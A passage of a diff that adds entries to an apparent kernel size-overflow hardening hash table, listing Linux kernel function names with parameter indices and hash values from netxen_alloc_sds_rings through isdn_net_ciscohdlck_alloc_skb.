++_001012_hash netxen_alloc_sds_rings 2 13417 _001012_hash NULL
++_001013_hash new_bind_ctl 2 35324 _001013_hash NULL
++_001014_hash new_dir 3 31919 _001014_hash NULL
++_001015_hash new_tape_buffer 2 32866 _001015_hash NULL
++_001016_hash nfc_llcp_build_tlv 3 19536 _001016_hash NULL
++_001017_hash nfc_llcp_send_i_frame 3 59130 _001017_hash NULL
++_001018_hash nf_ct_ext_create 3 51232 _001018_hash NULL
++_001019_hash nfs4_alloc_pages 1 48426 _001019_hash NULL
++_001020_hash nfs4_alloc_slots 1 2454 _003345_hash NULL nohasharray
++_001021_hash nfsctl_transaction_write 3 64800 _001021_hash NULL
++_001022_hash nfs_fscache_get_super_cookie 3 44355 _001850_hash NULL nohasharray
++_001023_hash nfs_idmap_request_key 3 30208 _001023_hash NULL
++_001024_hash nfs_pgarray_set 2 1085 _001024_hash NULL
++_001025_hash nl_pid_hash_zalloc 1 23314 _001025_hash NULL
++_001026_hash nr_sendmsg 4 53656 _001026_hash NULL
++_001027_hash nsm_create_handle 4 38060 _001027_hash NULL
++_001028_hash ntfs_copy_from_user_iovec 3-6 49829 _001028_hash NULL
++_001030_hash ntfs_file_buffered_write 4-6 41442 _001030_hash NULL
++_001032_hash __ntfs_malloc 1 34022 _001032_hash NULL
++_001033_hash nvme_alloc_queue 3 46865 _001033_hash NULL
++_001034_hash nvme_map_user_pages 3-4 41093 _001639_hash NULL nohasharray
++_001036_hash ocfs2_acl_from_xattr 2 21604 _001036_hash NULL
++_001037_hash ocfs2_control_message 3 19564 _001037_hash NULL
++_001038_hash _ore_get_io_state 3-5-4 2166 _001038_hash NULL
++_001041_hash orinoco_set_key 5-7 17878 _001041_hash NULL
++_001043_hash osdmap_set_max_osd 2 57630 _002267_hash NULL nohasharray
++_001044_hash _osd_realloc_seg 3 54352 _001044_hash NULL
++_001045_hash osst_execute 7-6 17607 _001045_hash NULL
++_001046_hash osst_write 3 31581 _001046_hash NULL
++_001047_hash otp_read 2-5-4 10594 _001047_hash NULL
++_001050_hash ovs_vport_alloc 1 33475 _001050_hash NULL
++_001051_hash p54_parse_rssical 3 64493 _001051_hash NULL
++_001052_hash p9_client_zc_rpc 7 14345 _001052_hash NULL
++_001053_hash packet_sendmsg_spkt 4 28885 _001053_hash NULL
++_001054_hash pair_device 4 61175 _003161_hash NULL nohasharray
++_001055_hash pccard_store_cis 6 18176 _001055_hash NULL
++_001056_hash pci_add_cap_save_buffer 3 3426 _001056_hash NULL
++_001057_hash pcnet32_realloc_rx_ring 3 36598 _001057_hash NULL
++_001058_hash pcnet32_realloc_tx_ring 3 38428 _001058_hash NULL
++_001059_hash pcpu_mem_zalloc 1 22948 _001059_hash NULL
++_001060_hash pep_sendmsg 4 62524 _001060_hash NULL
++_001061_hash pfkey_sendmsg 4 47394 _001061_hash NULL
++_001062_hash pidlist_resize 2 496 _001062_hash NULL
++_001063_hash pin_code_reply 4 46510 _001063_hash NULL
++_001064_hash ping_getfrag 3-4 8360 _001064_hash NULL
++_001066_hash pipe_set_size 2 5204 _001066_hash NULL
++_001067_hash pkt_bio_alloc 1 48284 _001067_hash NULL
++_001068_hash platform_create_bundle 4-6 12785 _001068_hash NULL
++_001070_hash pm8001_store_update_fw 4 55716 _001070_hash NULL
++_001071_hash pmcraid_alloc_sglist 1 9864 _001071_hash NULL
++_001072_hash pn533_dep_link_up 5 22154 _001072_hash NULL
++_001073_hash pn533_init_target_frame 3 65438 _001073_hash NULL
++_001074_hash pnp_alloc 1 24869 _001538_hash NULL nohasharray
++_001075_hash pn_sendmsg 4 12640 _001075_hash NULL
++_001076_hash pppoe_sendmsg 4 48039 _001076_hash NULL
++_001077_hash pppol2tp_sendmsg 4 56420 _001077_hash NULL
++_001078_hash prism2_info_hostscanresults 3 39657 _001078_hash NULL
++_001079_hash process_vm_rw 3-5 47533 _001079_hash NULL
++_001081_hash process_vm_rw_single_vec 1-2 26213 _001081_hash NULL
++_001083_hash proc_write 3 51003 _001083_hash NULL
++_001084_hash profile_load 3 58267 _001084_hash NULL
++_001085_hash profile_remove 3 8556 _001085_hash NULL
++_001086_hash profile_replace 3 14652 _001086_hash NULL
++_001087_hash pscsi_get_bio 1 56103 _001087_hash NULL
++_001088_hash __pskb_copy 2 9038 _001088_hash NULL
++_001089_hash __pskb_pull_tail 2 60287 _001089_hash NULL
++_001090_hash qla4xxx_alloc_work 2 44813 _001090_hash NULL
++_001091_hash qlcnic_alloc_msix_entries 2 46160 _001091_hash NULL
++_001092_hash qlcnic_alloc_sds_rings 2 26795 _001092_hash NULL
++_001093_hash queue_received_packet 5 9657 _001093_hash NULL
++_001094_hash raw_send_hdrinc 4 58803 _001094_hash NULL
++_001095_hash raw_sendmsg 4 23078 _003316_hash NULL nohasharray
++_001096_hash rawsock_sendmsg 4 60010 _001096_hash NULL
++_001097_hash rawv6_send_hdrinc 3 35425 _001097_hash NULL
++_001098_hash rawv6_setsockopt 5 56165 _001098_hash NULL
++_001099_hash rb_alloc 1 3102 _001099_hash NULL
++_001100_hash rbd_alloc_coll 1 33678 _001100_hash NULL
++_001101_hash rbd_create_rw_ops 1 55297 _001101_hash NULL
++_001102_hash rds_ib_inc_copy_to_user 3 55007 _001102_hash NULL
++_001103_hash rds_iw_inc_copy_to_user 3 29214 _001103_hash NULL
++_001104_hash rds_message_alloc 1 10517 _001104_hash NULL
++_001105_hash rds_message_copy_from_user 3 45510 _001105_hash NULL
++_001106_hash rds_message_inc_copy_to_user 3 26540 _001106_hash NULL
++_001107_hash regcache_rbtree_insert_to_block 5 58009 _001107_hash NULL
++_001108_hash _regmap_raw_write 4 42652 _001108_hash NULL
++_001109_hash regmap_register_patch 3 21681 _001109_hash NULL
++_001110_hash relay_alloc_page_array 1 52735 _001110_hash NULL
++_001111_hash remove_uuid 4 64505 _001111_hash NULL
++_001112_hash reshape_ring 2 29147 _001112_hash NULL
++_001113_hash RESIZE_IF_NEEDED 2 56286 _001113_hash NULL
++_001114_hash resize_info_buffer 2 62889 _001114_hash NULL
++_001115_hash resize_stripes 2 61650 _001115_hash NULL
++_001116_hash rfcomm_sock_sendmsg 4 37661 _003661_hash NULL nohasharray
++_001117_hash roccat_common2_send_with_status 4 50343 _001117_hash NULL
++_001118_hash rose_sendmsg 4 20249 _001118_hash NULL
++_001119_hash rsc_mgr_init 3 16299 _001119_hash NULL
++_001120_hash rxrpc_send_data 5 21553 _001120_hash NULL
++_001121_hash rxrpc_setsockopt 5 50286 _001121_hash NULL
++_001122_hash savu_sysfs_read 6 49473 _001122_hash NULL
++_001124_hash sco_send_frame 3 41815 _001124_hash NULL
++_001125_hash scsi_dispatch_cmd_entry 3 49848 _001125_hash NULL
++_001126_hash scsi_host_alloc 2 63041 _001126_hash NULL
++_001127_hash scsi_tgt_kspace_exec 8 9522 _001127_hash NULL
++_001128_hash sctp_sendmsg 4 61919 _001128_hash NULL
++_001129_hash sctp_setsockopt 5 44788 _001129_hash NULL
++_001130_hash sctp_setsockopt_connectx 3 6073 _001130_hash NULL
++_001131_hash sctp_setsockopt_connectx_old 3 22631 _001131_hash NULL
++_001132_hash sctp_tsnmap_grow 2 32784 _001132_hash NULL
++_001133_hash sctp_tsnmap_init 2 36446 _001133_hash NULL
++_001134_hash sctp_user_addto_chunk 2-3 62047 _001134_hash NULL
++_001136_hash security_context_to_sid 2 19839 _001136_hash NULL
++_001137_hash security_context_to_sid_default 2 3492 _003841_hash NULL nohasharray
++_001138_hash security_context_to_sid_force 2 20724 _001138_hash NULL
++_001139_hash self_check_write 5 50856 _001139_hash NULL
++_001140_hash selinux_transaction_write 3 59038 _001140_hash NULL
++_001141_hash sel_write_access 3 51704 _001141_hash NULL
++_001142_hash sel_write_create 3 11353 _001142_hash NULL
++_001143_hash sel_write_member 3 28800 _001143_hash NULL
++_001144_hash sel_write_relabel 3 55195 _001144_hash NULL
++_001145_hash sel_write_user 3 45060 _001145_hash NULL
++_001146_hash __seq_open_private 3 40715 _001146_hash NULL
++_001147_hash serverworks_create_gatt_pages 1 46582 _001147_hash NULL
++_001148_hash set_connectable 4 56458 _001148_hash NULL
++_001149_hash set_dev_class 4 39645 _001921_hash NULL nohasharray
++_001150_hash set_discoverable 4 48141 _001150_hash NULL
++_001151_hash set_fd_set 1 35249 _001151_hash NULL
++_001152_hash setkey 3 14987 _001152_hash NULL
++_001153_hash set_le 4 30581 _001153_hash NULL
++_001154_hash set_link_security 4 4502 _001154_hash NULL
++_001155_hash set_local_name 4 55757 _001155_hash NULL
++_001156_hash set_powered 4 12129 _001156_hash NULL
++_001157_hash set_ssp 4 62411 _001157_hash NULL
++_001158_hash sg_build_sgat 3 60179 _001158_hash &_000314_hash
++_001159_hash sg_read_oxfer 3 51724 _001159_hash NULL
++_001160_hash shmem_xattr_set 4 11843 _001160_hash NULL
++_001161_hash simple_alloc_urb 3 60420 _001161_hash NULL
++_001162_hash sisusb_send_bridge_packet 2 11649 _001162_hash NULL
++_001163_hash sisusb_send_packet 2 20891 _001163_hash NULL
++_001164_hash sisusb_write_mem_bulk 4 29678 _001164_hash NULL
++_001165_hash skb_add_data_nocache 4 4682 _001165_hash NULL
++_001166_hash skb_copy_datagram_from_iovec 2-5-4 52014 _001166_hash NULL
++_001169_hash skb_copy_expand 2-3 7685 _001169_hash &_000677_hash
++_001171_hash skb_copy_to_page_nocache 6 58624 _001171_hash NULL
++_001172_hash __skb_cow 2 39254 _001172_hash NULL
++_001173_hash skb_cow_data 2 11565 _001173_hash NULL
++_001174_hash skb_pad 2 17302 _001174_hash NULL
++_001175_hash skb_realloc_headroom 2 19516 _001175_hash NULL
++_001176_hash sk_chk_filter 2 42095 _001176_hash NULL
++_001177_hash skcipher_sendmsg 4 30290 _001177_hash NULL
++_001178_hash sl_change_mtu 2 7396 _001178_hash NULL
++_001179_hash slhc_init 1-2 58135 _001179_hash &_000931_hash
++_001181_hash sm501_create_subdev 3-4 48668 _001245_hash NULL nohasharray
++_001183_hash smk_user_access 3 24440 _001183_hash NULL
++_001184_hash smk_write_cipso2 3 1021 _001184_hash NULL
++_001185_hash smk_write_cipso 3 17989 _001185_hash NULL
++_001186_hash smk_write_load2 3 52155 _001186_hash NULL
++_001187_hash smk_write_load 3 26829 _001187_hash NULL
++_001188_hash smk_write_load_self2 3 591 _001188_hash NULL
++_001189_hash smk_write_load_self 3 7958 _001189_hash NULL
++_001190_hash snapshot_write 3 28351 _001190_hash NULL
++_001191_hash snd_ac97_pcm_assign 2 30218 _001191_hash NULL
++_001192_hash snd_card_create 4 64418 _001529_hash NULL nohasharray
++_001193_hash snd_emux_create_port 3 42533 _001193_hash NULL
++_001194_hash snd_gus_dram_write 4 38784 _001194_hash NULL
++_001195_hash snd_midi_channel_alloc_set 1 28153 _001195_hash NULL
++_001196_hash _snd_pcm_lib_alloc_vmalloc_buffer 2 17820 _001196_hash NULL
++_001197_hash snd_pcm_oss_sync1 2 45298 _001197_hash NULL
++_001198_hash snd_pcm_oss_write 3 38108 _001198_hash NULL
++_001199_hash snd_pcm_plugin_build 5 25505 _001199_hash NULL
++_001200_hash snd_rawmidi_kernel_write 3 25106 _001200_hash NULL
++_001201_hash snd_rawmidi_write 3 28008 _001201_hash NULL
++_001202_hash snd_rme32_playback_copy 5 43732 _001202_hash NULL
++_001203_hash snd_rme96_playback_copy 5 13111 _001203_hash NULL
++_001204_hash snd_seq_device_new 4 31753 _001204_hash NULL
++_001205_hash snd_seq_oss_readq_new 2 14283 _001205_hash NULL
++_001206_hash snd_vx_create 4 40948 _001206_hash NULL
++_001207_hash sock_setsockopt 5 50088 _001207_hash NULL
++_001208_hash sound_write 3 5102 _001208_hash NULL
++_001209_hash _sp2d_alloc 1-3-2 16944 _001209_hash NULL
++_001212_hash spi_alloc_master 2 45223 _001212_hash NULL
++_001213_hash spidev_message 3 5518 _001213_hash NULL
++_001214_hash spi_register_board_info 2 35651 _001214_hash NULL
++_001215_hash squashfs_cache_init 2 41656 _001215_hash NULL
++_001216_hash squashfs_read_data 6 59440 _001216_hash NULL
++_001217_hash squashfs_read_fragment_index_table 4 2506 _001217_hash NULL
++_001218_hash squashfs_read_id_index_table 4 61961 _001218_hash NULL
++_001219_hash squashfs_read_inode_lookup_table 4 64739 _001219_hash NULL
++_001220_hash srp_alloc_iu 2 44227 _001220_hash NULL
++_001221_hash srp_iu_pool_alloc 2 17920 _001221_hash NULL
++_001222_hash srp_ring_alloc 2 26760 _001222_hash NULL
++_001226_hash start_isoc_chain 2 565 _001226_hash NULL
++_001227_hash st_write 3 16874 _001227_hash NULL
++_001228_hash svc_pool_map_alloc_arrays 2 47181 _001228_hash NULL
++_001229_hash symtab_init 2 61050 _001229_hash NULL
++_001230_hash sys_bind 3 10799 _001230_hash NULL
++_001231_hash sys_connect 3 15291 _003816_hash NULL nohasharray
++_001232_hash sys_flistxattr 3 41407 _001232_hash NULL
++_001233_hash sys_fsetxattr 4 49736 _001233_hash NULL
++_001234_hash sysfs_write_file 3 57116 _001234_hash NULL
++_001235_hash sys_ipc 3 4889 _001235_hash NULL
++_001236_hash sys_keyctl 4 33708 _001236_hash &_001011_hash
++_001237_hash sys_listxattr 3 27833 _001237_hash NULL
++_001238_hash sys_llistxattr 3 4532 _001238_hash NULL
++_001239_hash sys_lsetxattr 4 61177 _001239_hash NULL
++_001240_hash sys_mq_timedsend 3 57661 _001240_hash NULL
++_001241_hash sys_sched_setaffinity 2 32046 _001241_hash NULL
++_001242_hash sys_select 1 38827 _001242_hash NULL
++_001243_hash sys_semop 3 39457 _001243_hash NULL
++_001244_hash sys_sendto 6 20809 _001244_hash NULL
++_001245_hash sys_setgroups 1 48668 _001245_hash &_001181_hash
++_001246_hash sys_setgroups16 1 48882 _001246_hash NULL
++_001247_hash sys_setxattr 4 37880 _001247_hash NULL
++_001248_hash t4_alloc_mem 1 32342 _001248_hash NULL
++_001249_hash tcf_hash_create 4 54360 _001249_hash NULL
++_001250_hash tcp_send_rcvq 3 11316 _001250_hash NULL
++_001251_hash __team_options_register 3 63941 _001251_hash NULL
++_001252_hash test_unaligned_bulk 3 52333 _001252_hash NULL
++_001253_hash tifm_alloc_adapter 1 10903 _001253_hash NULL
++_001254_hash timeout_write 3 50991 _001254_hash NULL
++_001255_hash timeradd_entry 3 49850 _001255_hash NULL
++_001256_hash tipc_link_send_sections_fast 4 37920 _001256_hash NULL
++_001257_hash tipc_subseq_alloc 1 5957 _001257_hash NULL
++_001258_hash tnode_alloc 1 49407 _001258_hash NULL
++_001259_hash tomoyo_commit_ok 2 20167 _001259_hash NULL
++_001260_hash tomoyo_scan_bprm 2-4 15642 _003488_hash NULL nohasharray
++_001262_hash tps6586x_writes 3 58689 _001262_hash NULL
++_001263_hash tty_buffer_find 2 2443 _001263_hash NULL
++_001264_hash tty_write 3 5494 _001264_hash NULL
++_001265_hash ubifs_setxattr 4 59650 _001477_hash NULL nohasharray
++_001266_hash ubi_self_check_all_ff 4 41959 _001266_hash NULL
++_001267_hash udf_sb_alloc_partition_maps 2 62313 _001267_hash NULL
++_001268_hash udplite_getfrag 3-4 14479 _001268_hash NULL
++_001270_hash ulong_write_file 3 26485 _001270_hash NULL
++_001271_hash unix_stream_sendmsg 4 61455 _001271_hash NULL
++_001272_hash unlink_queued 3-4 645 _001272_hash NULL
++_001273_hash update_pmkid 4 2481 _001273_hash NULL
++_001274_hash usb_alloc_coherent 2 65444 _001274_hash NULL
++_001275_hash vc_resize 2-3 3585 _001275_hash NULL
++_001277_hash vhci_write 3 2224 _001277_hash NULL
++_001278_hash __vhost_add_used_n 3 26554 _001278_hash NULL
++_001279_hash virtqueue_add_buf 3-4 59470 _001279_hash NULL
++_001281_hash vmalloc 1 15464 _001281_hash NULL
++_001282_hash vol_cdev_write 3 40915 _001282_hash NULL
++_001283_hash vxge_device_register 4 7752 _001283_hash NULL
++_001284_hash __vxge_hw_blockpool_malloc 2 5786 _001284_hash NULL
++_001285_hash __vxge_hw_channel_allocate 3 55462 _001285_hash NULL
++_001286_hash vzalloc 1 47421 _001286_hash NULL
++_001287_hash vzalloc_node 1 23424 _001287_hash NULL
++_001288_hash wa_nep_queue 2 8858 _001288_hash NULL
++_001289_hash __wa_xfer_setup_segs 2 56725 _001289_hash NULL
++_001290_hash wiphy_new 2 2482 _001290_hash NULL
++_001291_hash wm8350_block_write 3 19727 _001291_hash NULL
++_001292_hash wpan_phy_alloc 1 48056 _001292_hash NULL
++_001293_hash write_flush_pipefs 3 2021 _001293_hash NULL
++_001294_hash write_flush_procfs 3 44011 _001294_hash NULL
++_001295_hash wusb_ccm_mac 7 32199 _001295_hash NULL
++_001296_hash x25_sendmsg 4 12487 _001296_hash NULL
++_001297_hash xfrm_hash_alloc 1 10997 _001297_hash NULL
++_001298_hash _xfs_buf_get_pages 2 46811 _001298_hash NULL
++_001299_hash xfs_da_grow_inode_int 3 21785 _001299_hash NULL
++_001300_hash xfs_dir_cilookup_result 3 64288 _003160_hash NULL nohasharray
++_001301_hash xfs_idata_realloc 2 26199 _001301_hash NULL
++_001302_hash xfs_iext_add_indirect_multi 3 32400 _001302_hash NULL
++_001303_hash xfs_iext_inline_to_direct 2 12384 _001303_hash NULL
++_001304_hash xfs_iformat_local 4 49472 _001304_hash NULL
++_001305_hash xfs_iroot_realloc 2 46826 _001305_hash NULL
++_001306_hash xhci_alloc_stream_info 3 63902 _001306_hash NULL
++_001307_hash xlog_recover_add_to_trans 4 62839 _001307_hash NULL
++_001308_hash xprt_alloc 2 1475 _001308_hash NULL
++_001309_hash xt_alloc_table_info 1 57903 _001309_hash NULL
++_001310_hash _zd_iowrite32v_async_locked 3 39034 _001310_hash NULL
++_001311_hash zd_usb_iowrite16v 3 49744 _001311_hash NULL
++_001312_hash a2mp_send 4 41615 _001312_hash NULL
++_001313_hash acpi_ds_build_internal_package_obj 3 58271 _001313_hash NULL
++_001314_hash acpi_system_read_event 3 55362 _001314_hash NULL
++_001315_hash acpi_ut_create_buffer_object 1 42030 _001315_hash NULL
++_001316_hash acpi_ut_create_package_object 1 17594 _001316_hash NULL
++_001317_hash acpi_ut_create_string_object 1 15360 _001317_hash NULL
++_001318_hash ad7879_spi_multi_read 3 8218 _001318_hash NULL
++_001319_hash add_child 4 45201 _001319_hash NULL
++_001320_hash add_port 2 54941 _001320_hash NULL
++_001321_hash adu_read 3 24177 _001321_hash NULL
++_001322_hash afs_cell_create 2 27346 _001322_hash NULL
++_001323_hash agp_allocate_memory 2 58761 _001323_hash NULL
++_001324_hash agp_generic_alloc_user 1 9470 _001324_hash NULL
++_001325_hash alc_auto_create_extra_outs 2 18975 _001325_hash NULL
++_001326_hash alloc_agpphysmem_i8xx 1 39427 _001326_hash NULL
++_001327_hash allocate_cnodes 1 5329 _001327_hash NULL
++_001328_hash ___alloc_bootmem 1 11410 _001328_hash NULL
++_001329_hash __alloc_bootmem_low_node 2 25726 _001662_hash NULL nohasharray
++_001330_hash __alloc_bootmem_node 2 1992 _001330_hash NULL
++_001331_hash __alloc_bootmem_node_nopanic 2 6432 _001331_hash NULL
++_001332_hash __alloc_bootmem_nopanic 1 65397 _001332_hash NULL
++_001333_hash alloc_candev 1-2 7776 _001333_hash NULL
++_001335_hash _alloc_cdb_cont 2 23609 _001335_hash NULL
++_001336_hash alloc_dummy_extent_buffer 2 56374 _001336_hash NULL
++_001337_hash ____alloc_ei_netdev 1 51475 _001337_hash NULL
++_001338_hash alloc_etherdev_mqs 1 36450 _001338_hash NULL
++_001339_hash alloc_extent_buffer 3 52824 _001339_hash NULL
++_001340_hash alloc_fcdev 1 18780 _001340_hash NULL
++_001341_hash alloc_fddidev 1 15382 _001341_hash NULL
++_001342_hash _alloc_get_attr_desc 2 470 _001342_hash NULL
++_001343_hash alloc_hippi_dev 1 51320 _001343_hash NULL
++_001344_hash alloc_irdadev 1 19140 _001344_hash NULL
++_001345_hash alloc_ldt 2 21972 _001345_hash NULL
++_001346_hash alloc_ltalkdev 1 38071 _001346_hash NULL
++_001347_hash alloc_one_pg_vec_page 1 10747 _001347_hash NULL
++_001348_hash alloc_orinocodev 1 21371 _001348_hash NULL
++_001349_hash alloc_ring 2-4 18278 _001349_hash NULL
++_001351_hash _alloc_set_attr_list 4 48991 _001351_hash NULL
++_001353_hash alloc_tx 2 32143 _001353_hash NULL
++_001354_hash alloc_wr 1-2 24635 _001354_hash NULL
++_001356_hash async_setkey 3 35521 _001356_hash NULL
++_001357_hash ata_host_alloc_pinfo 3 17325 _001357_hash NULL
++_001360_hash ath6kl_connect_event 7-9-8 14267 _001360_hash NULL
++_001361_hash ath6kl_fwlog_block_read 3 49836 _001361_hash NULL
++_001362_hash ath6kl_fwlog_read 3 32101 _001362_hash NULL
++_001363_hash ath9k_wmi_cmd 4 327 _001363_hash NULL
++_001364_hash ath_rx_init 2 43564 _001364_hash NULL
++_001365_hash ath_tx_init 2 60515 _001365_hash NULL
++_001366_hash atm_alloc_charge 2 19517 _001914_hash NULL nohasharray
++_001367_hash atm_get_addr 3 31221 _001367_hash NULL
++_001368_hash audit_log_n_hex 3 45617 _001368_hash NULL
++_001369_hash audit_log_n_string 3 31705 _001369_hash NULL
++_001370_hash ax25_output 2 22736 _001370_hash NULL
++_001371_hash bcsp_prepare_pkt 3 12961 _001371_hash NULL
++_001372_hash bdx_rxdb_create 1 46525 _001372_hash NULL
++_001373_hash bdx_tx_db_init 2 41719 _001373_hash NULL
++_001374_hash bio_map_kern 3 64751 _001374_hash NULL
++_001375_hash bits_to_user 2-3 47733 _001375_hash NULL
++_001377_hash __blk_queue_init_tags 2 9778 _001377_hash NULL
++_001378_hash blk_queue_resize_tags 2 28670 _001378_hash NULL
++_001379_hash blk_rq_map_user_iov 5 16772 _001379_hash NULL
++_001380_hash bm_init 2 13529 _001380_hash NULL
++_001381_hash brcmf_alloc_wdev 1 60347 _001381_hash NULL
++_001382_hash __btrfs_buffered_write 3 35311 _002735_hash NULL nohasharray
++_001383_hash btrfs_insert_dir_item 4 59304 _001383_hash NULL
++_001384_hash btrfs_map_block 3 64379 _001384_hash NULL
++_001385_hash bt_skb_alloc 1 6404 _001385_hash NULL
++_001386_hash c4_add_card 3 54968 _001386_hash NULL
++_001387_hash cache_read 3 24790 _001387_hash NULL
++_001388_hash cache_write 3 13589 _001388_hash NULL
++_001389_hash calc_hmac 3 32010 _001389_hash NULL
++_001390_hash capinc_tty_write 3 28539 _001390_hash NULL
++_001391_hash ccid_getsockopt_builtin_ccids 2 53634 _001391_hash NULL
++_001392_hash ceph_copy_page_vector_to_user 3-4 31270 _001392_hash NULL
++_001394_hash ceph_parse_server_name 2 60318 _001394_hash NULL
++_001395_hash ceph_read_dir 3 17005 _001395_hash NULL
++_001396_hash cfg80211_roamed 5-7 32632 _001396_hash NULL
++_001398_hash cfpkt_add_body 3 44630 _001398_hash NULL
++_001399_hash cfpkt_create_pfx 1-2 23594 _001399_hash NULL
++_001401_hash cmd_complete 6 51629 _001401_hash NULL
++_001402_hash cmtp_add_msgpart 4 9252 _001402_hash NULL
++_001403_hash cmtp_send_interopmsg 7 376 _001403_hash NULL
++_001404_hash coda_psdev_read 3 35029 _001404_hash NULL
++_001405_hash construct_key_and_link 4 8321 _001405_hash NULL
++_001406_hash copy_counters_to_user 5 17027 _001406_hash NULL
++_001407_hash copy_entries_to_user 1 52367 _001407_hash NULL
++_001408_hash copy_from_buf 2-4 27308 _001408_hash NULL
++_001410_hash copy_oldmem_page 3-1 26164 _001410_hash NULL
++_001411_hash copy_to_user_fromio 3 57432 _001411_hash NULL
++_001412_hash cryptd_hash_setkey 3 42781 _001412_hash NULL
++_001413_hash crypto_authenc_esn_setkey 3 6985 _001413_hash NULL
++_001414_hash crypto_authenc_setkey 3 80 _001414_hash NULL
++_001415_hash cxgb3_get_cpl_reply_skb 2 10620 _001415_hash NULL
++_001416_hash cxgbi_ddp_reserve 4 30091 _001416_hash NULL
++_001417_hash cxio_init_resource_fifo 3 28764 _001417_hash NULL
++_001418_hash cxio_init_resource_fifo_random 3 47151 _001418_hash NULL
++_001419_hash datablob_hmac_append 3 40038 _001419_hash NULL
++_001420_hash datablob_hmac_verify 4 24786 _001420_hash NULL
++_001421_hash dataflash_read_fact_otp 3-2 33204 _001421_hash NULL
++_001422_hash dataflash_read_user_otp 3-2 14536 _001422_hash &_000207_hash
++_001423_hash dccp_feat_register_sp 5 17914 _001423_hash NULL
++_001424_hash dccp_setsockopt 5 60367 _001424_hash NULL
++_001425_hash __dev_alloc_skb 1 28681 _001425_hash NULL
++_001426_hash disk_expand_part_tbl 2 30561 _001426_hash NULL
++_001427_hash diva_os_alloc_message_buffer 1 64568 _001427_hash NULL
++_001428_hash diva_os_copy_to_user 4 48508 _001428_hash NULL
++_001429_hash diva_os_malloc 2 16406 _001429_hash NULL
++_001430_hash dmam_declare_coherent_memory 4-2 43679 _001430_hash NULL
++_001431_hash dm_vcalloc 1-2 16814 _001431_hash NULL
++_001433_hash dn_alloc_skb 2 6631 _001433_hash NULL
++_001434_hash do_proc_readlink 3 14096 _001434_hash NULL
++_001435_hash do_readlink 2 43518 _001435_hash NULL
++_001436_hash __do_replace 5 37227 _001436_hash NULL
++_001437_hash do_sigpending 2 9766 _001437_hash NULL
++_001438_hash drbd_bm_resize 2 20522 _001438_hash NULL
++_001439_hash drbd_setsockopt 5 16280 _001439_hash &_000383_hash
++_001440_hash dump_midi 3 51040 _001440_hash NULL
++_001441_hash ecryptfs_filldir 3 6622 _001441_hash NULL
++_001442_hash ecryptfs_send_message 2 18322 _001442_hash NULL
++_001443_hash ep0_read 3 38095 _001443_hash NULL
++_001444_hash evdev_ioctl 2 22371 _001444_hash NULL
++_001445_hash ext4_add_new_descs 3 19509 _001445_hash NULL
++_001446_hash fat_ioctl_filldir 3 36621 _001446_hash NULL
++_001447_hash _fc_frame_alloc 1 43568 _001447_hash NULL
++_001448_hash fc_host_post_vendor_event 3 30903 _001448_hash NULL
++_001449_hash fd_copyout 3 59323 _001449_hash NULL
++_001450_hash f_hidg_read 3 6238 _001450_hash NULL
++_001451_hash filldir 3 55137 _001451_hash NULL
++_001452_hash filldir64 3 46469 _001452_hash NULL
++_001453_hash find_skb 2 20431 _001453_hash NULL
++_001454_hash from_buffer 3 18625 _001454_hash NULL
++_001455_hash fsm_init 2 16134 _001455_hash NULL
++_001456_hash fs_path_add 3 15648 _001456_hash NULL
++_001457_hash fs_path_add_from_extent_buffer 4 27702 _001457_hash NULL
++_001458_hash fuse_perform_write 4 18457 _001458_hash NULL
++_001459_hash gem_alloc_skb 2 51715 _001459_hash NULL
++_001460_hash generic_file_buffered_write 4 25464 _001460_hash NULL
++_001461_hash gen_pool_add 3 21776 _001461_hash NULL
++_001462_hash get_packet 3 41914 _001462_hash NULL
++_001463_hash get_packet 3 5747 _001463_hash NULL
++_001464_hash get_packet_pg 4 28023 _001464_hash NULL
++_001465_hash get_skb 2 63008 _001465_hash NULL
++_001466_hash get_subdir 3 62581 _001466_hash NULL
++_001467_hash gsm_control_message 4 18209 _001467_hash NULL
++_001468_hash gsm_control_modem 3 55303 _001468_hash NULL
++_001469_hash gsm_control_rls 3 3353 _001469_hash NULL
++_001470_hash handle_received_packet 3 22457 _001470_hash NULL
++_001471_hash hash_setkey 3 48310 _001471_hash NULL
++_001472_hash hdlcdrv_register 2 6792 _001472_hash NULL
++_001473_hash hiddev_ioctl 2 36816 _001473_hash NULL
++_001474_hash hid_input_report 4 32458 _001474_hash NULL
++_001475_hash hidp_queue_report 3 1881 _001475_hash NULL
++_001476_hash __hidp_send_ctrl_message 4 28303 _001476_hash NULL
++_001477_hash hidraw_read 3 59650 _001477_hash &_001265_hash
++_001478_hash HiSax_readstatus 2 15752 _001478_hash NULL
++_001480_hash __hwahc_op_set_gtk 4 42038 _001480_hash NULL
++_001481_hash __hwahc_op_set_ptk 5 36510 _001481_hash NULL
++_001482_hash hycapi_rx_capipkt 3 11602 _001482_hash NULL
++_001483_hash i2400m_net_rx 5 27170 _001483_hash NULL
++_001484_hash ib_copy_to_udata 3 27525 _001484_hash NULL
++_001485_hash idetape_chrdev_read 3 2097 _001485_hash NULL
++_001486_hash ieee80211_alloc_hw 1 43829 _001486_hash NULL
++_001487_hash ieee80211_bss_info_update 4 13991 _001487_hash NULL
++_001488_hash igmpv3_newpack 2 35912 _001488_hash NULL
++_001489_hash ilo_read 3 32531 _001489_hash NULL
++_001490_hash init_map_ipmac 3-4 63896 _001490_hash NULL
++_001492_hash init_tid_tabs 2-4-3 13252 _001492_hash NULL
++_001495_hash iowarrior_read 3 53483 _001495_hash NULL
++_001496_hash ip_options_get 4 56538 _001496_hash NULL
++_001497_hash ipv6_getsockopt_sticky 5 56711 _001497_hash NULL
++_001498_hash ipwireless_send_packet 4 8328 _001498_hash NULL
++_001499_hash ipx_sendmsg 4 1362 _001499_hash NULL
++_001500_hash irq_domain_add_linear 2 29236 _001500_hash NULL
++_001501_hash iscsi_conn_setup 2 35159 _001501_hash NULL
++_001502_hash iscsi_create_session 3 51647 _001502_hash NULL
++_001503_hash iscsi_host_alloc 2 36671 _001503_hash NULL
++_001504_hash iscsi_if_send_reply 7 52219 _001504_hash NULL
++_001505_hash iscsi_offload_mesg 5 58425 _001505_hash NULL
++_001506_hash iscsi_ping_comp_event 5 38263 _001506_hash NULL
++_001507_hash iscsi_post_host_event 4 13473 _001507_hash NULL
++_001508_hash iscsi_recv_pdu 4 16755 _001508_hash NULL
++_001509_hash iscsi_session_setup 4-5 196 _001509_hash NULL
++_001511_hash iscsit_find_cmd_from_itt_or_dump 3 17194 _003122_hash NULL nohasharray
++_001512_hash isdn_net_ciscohdlck_alloc_skb 2 55209 _001951_hash NULL nohasharray
